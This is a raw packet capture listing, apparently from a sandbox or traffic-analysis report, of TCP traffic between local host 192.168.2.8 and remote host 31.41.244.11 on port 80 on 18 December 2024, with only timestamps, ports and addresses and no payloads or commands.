Dec 18, 2024 09:07:20.762373924 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.762398958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.762413979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.762434959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.762449980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.763201952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.763245106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.763259888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.763262033 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.763276100 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.763293982 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.764065027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.764106035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.764147997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.764163017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.764183044 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.764199018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.764925957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.764965057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.764987946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.765002966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.765024900 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.765038013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.765914917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.765928984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.765944004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.765952110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.765964985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.765981913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.766659975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.766700983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.766727924 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.766743898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.766763926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.766782999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.767600060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.767637968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.767705917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.767720938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.767744064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.767757893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.768405914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.768445015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.768480062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.768493891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.768516064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.768529892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.769321918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.769361019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.769395113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.769409895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.769433975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.769448042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.770155907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.770198107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.770247936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.770262957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.770283937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.770303011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.771034956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.771073103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.771306038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.771342993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.771384001 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.771399975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.771421909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.771436930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.772187948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.772228003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.772254944 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.772272110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.772291899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.772308111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.773042917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.773078918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.773133039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.773147106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.773169041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.773184061 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.773910046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.773953915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.773994923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.774009943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.774032116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.774045944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.774812937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.774851084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.774900913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.774915934 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.774936914 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.774950981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.775675058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.775713921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.775722027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.775737047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.775754929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.775769949 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.776519060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.776556969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.776570082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.776585102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.776606083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.776622057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.777395964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.777435064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.777462959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.777477026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.777513981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.778278112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.778321028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.778343916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.778358936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.778379917 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.778393984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.779141903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.779181957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.779198885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.779213905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.779236078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.779248953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.779994965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.780035019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.780051947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.780070066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.780087948 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.780102968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.780864954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.780903101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.780939102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.780955076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.780976057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.780992031 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.781748056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.781790972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.781830072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.781845093 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.781867027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.781881094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.782643080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.782680988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.945179939 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.945198059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.945219994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.945234060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.945250034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.945266008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.945308924 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.945342064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.946131945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.946146965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.946161032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.946182013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.946197033 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.946342945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.946398020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.946412086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.946443081 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.947160959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.947226048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.947242022 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.947268963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.947288036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.948662996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.948677063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.948695898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.948717117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.948740959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.949214935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.949229956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.949269056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.949377060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.949456930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.950350046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.950365067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.950381994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.950421095 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.950690985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.950731039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.950758934 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.950773954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.950810909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.951520920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.951626062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.951641083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.951663971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.951678038 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.952387094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.952424049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.952462912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.952478886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.952502966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.952518940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.953237057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.953298092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.953311920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.953337908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.953361034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.954109907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.954204082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.954217911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.954243898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.954265118 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.954972982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.955039024 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.955053091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.955075979 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.955097914 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.955883980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.955925941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.955940962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.955965996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.955985069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.956743002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.956787109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.956801891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.956825018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.956847906 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.957638979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.957653046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.957668066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.957691908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.957712889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.958487988 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.958568096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.958581924 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.958605051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.958628893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.959392071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.959434032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.959451914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.959460974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.959474087 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.959489107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.960278988 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.960293055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.960309982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.960333109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.960355043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.961090088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.961157084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.961174011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.961194992 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.961216927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.962024927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.962095976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.962110996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.962135077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.962157965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.962860107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.963088036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.963128090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.963169098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.963184118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.963221073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.963970900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.964004040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.964019060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.964042902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.964056015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.964828968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.964890957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.964909077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.964925051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.964945078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.964961052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.965708017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.965749979 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.965783119 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.965797901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.965818882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.965832949 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.966579914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.966619968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.966659069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.966674089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.966708899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.967469931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.967514992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.967530012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.967551947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.967567921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971009970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971050024 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971060038 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971069098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971084118 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971088886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971107006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971110106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971118927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971128941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971142054 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971148014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971159935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971167088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971179008 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971185923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971195936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971204042 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971215010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971223116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971235037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971242905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971251965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971272945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971848011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971910954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971926928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.971952915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.971976995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.973057032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.973072052 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.973088026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.973112106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.973134995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.974159956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.974174976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.974190950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.974214077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.974234104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.974694967 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.975457907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.136151075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.136173964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.136190891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.136259079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.136267900 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.136280060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.136293888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.136301994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.136311054 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.136337996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.136734009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.136775017 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.136806965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.136821032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.136843920 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.136857986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.137914896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.137957096 CET	49714	80	192.168.2.8	31.41.244.11
